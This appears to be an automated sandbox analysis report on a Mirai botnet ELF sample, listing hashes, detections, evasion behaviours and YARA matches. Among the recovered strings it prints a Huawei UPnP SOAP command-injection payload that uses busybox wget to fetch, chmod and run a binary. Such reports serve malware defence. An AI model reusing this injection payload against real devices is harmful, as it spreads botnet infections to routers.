Linux Analysis Report
na.elf

Overview

General Information

Sample name: na.elf
Analysis ID: 1527085
MD5: aca79f9a14f86e525687797af2082e49
SHA1: 5329a91f0766e446960fb89196db06c9d6c6a55a
SHA256: 143de0029bbd8f7d556fd31db2664a386f26ea27b02446bd53fcad34586944b1
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai
Score: 76
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample reads /proc/mounts (often used for finding a writable filesystem)
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sleeps for long times indicative of sandbox evasion
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection

barindex
Source: na.elf Avira: detected
Source: na.elf ReversingLabs: Detection: 52%
Source: /tmp/na.elf (PID: 6218) Socket: 127.0.0.1:1172 Jump to behavior
Source: na.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: na.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
Source: Initial sample String containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: ELF static info symbol of initial sample .symtab present: no
Source: /tmp/na.elf (PID: 6275) SIGKILL sent: pid: 6273, result: successful Jump to behavior
Source: classification engine Classification label: mal76.troj.linELF@0/0@0/0

Persistence and Installation Behavior

barindex
Source: /tmp/na.elf (PID: 6220) File: /proc/6220/mounts Jump to behavior
Source: /tmp/na.elf (PID: 6275) Sleeps longer then 60s: 60.0s Jump to behavior
Source: /tmp/na.elf (PID: 6218) Queries kernel information via 'uname': Jump to behavior
Source: na.elf, 6218.1.000055bff4792000.000055bff483a000.rw-.sdmp, na.elf, 6220.1.000055bff4792000.000055bff483a000.rw-.sdmp, na.elf, 6231.1.000055bff4792000.000055bff483a000.rw-.sdmp, na.elf, 6222.1.000055bff4792000.000055bff483a000.rw-.sdmp, na.elf, 6273.1.000055bff4792000.000055bff483a000.rw-.sdmp, na.elf, 6275.1.000055bff4792000.000055bff483a000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mipsel
Source: na.elf, 6218.1.000055bff4792000.000055bff483a000.rw-.sdmp, na.elf, 6220.1.000055bff4792000.000055bff483a000.rw-.sdmp, na.elf, 6231.1.000055bff4792000.000055bff483a000.rw-.sdmp, na.elf, 6222.1.000055bff4792000.000055bff483a000.rw-.sdmp, na.elf, 6273.1.000055bff4792000.000055bff483a000.rw-.sdmp, na.elf, 6275.1.000055bff4792000.000055bff483a000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: na.elf, 6218.1.00007ffe994f9000.00007ffe9951a000.rw-.sdmp, na.elf, 6220.1.00007ffe994f9000.00007ffe9951a000.rw-.sdmp, na.elf, 6231.1.00007ffe994f9000.00007ffe9951a000.rw-.sdmp, na.elf, 6222.1.00007ffe994f9000.00007ffe9951a000.rw-.sdmp, na.elf, 6273.1.00007ffe994f9000.00007ffe9951a000.rw-.sdmp, na.elf, 6275.1.00007ffe994f9000.00007ffe9951a000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsel
Source: na.elf, 6218.1.00007ffe994f9000.00007ffe9951a000.rw-.sdmp, na.elf, 6220.1.00007ffe994f9000.00007ffe9951a000.rw-.sdmp, na.elf, 6231.1.00007ffe994f9000.00007ffe9951a000.rw-.sdmp, na.elf, 6222.1.00007ffe994f9000.00007ffe9951a000.rw-.sdmp, na.elf, 6273.1.00007ffe994f9000.00007ffe9951a000.rw-.sdmp, na.elf, 6275.1.00007ffe994f9000.00007ffe9951a000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/na.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/na.elf

Stealing of Sensitive Information

barindex
Source: Yara match File source: na.elf, type: SAMPLE
Source: Yara match File source: 6220.1.00007f19c4400000.00007f19c4417000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6222.1.00007f19c4400000.00007f19c4417000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6218.1.00007f19c4400000.00007f19c4417000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6273.1.00007f19c4400000.00007f19c4417000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6275.1.00007f19c4400000.00007f19c4417000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6231.1.00007f19c4400000.00007f19c4417000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: na.elf PID: 6218, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: na.elf PID: 6220, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: na.elf PID: 6222, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: na.elf PID: 6231, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: na.elf PID: 6273, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: na.elf PID: 6275, type: MEMORYSTR

Remote Access Functionality

barindex
Source: Yara match File source: na.elf, type: SAMPLE
Source: Yara match File source: 6220.1.00007f19c4400000.00007f19c4417000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6222.1.00007f19c4400000.00007f19c4417000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6218.1.00007f19c4400000.00007f19c4417000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6273.1.00007f19c4400000.00007f19c4417000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6275.1.00007f19c4400000.00007f19c4417000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6231.1.00007f19c4400000.00007f19c4417000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: na.elf PID: 6218, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: na.elf PID: 6220, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: na.elf PID: 6222, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: na.elf PID: 6231, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: na.elf PID: 6273, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: na.elf PID: 6275, type: MEMORYSTR
No contacted IP infos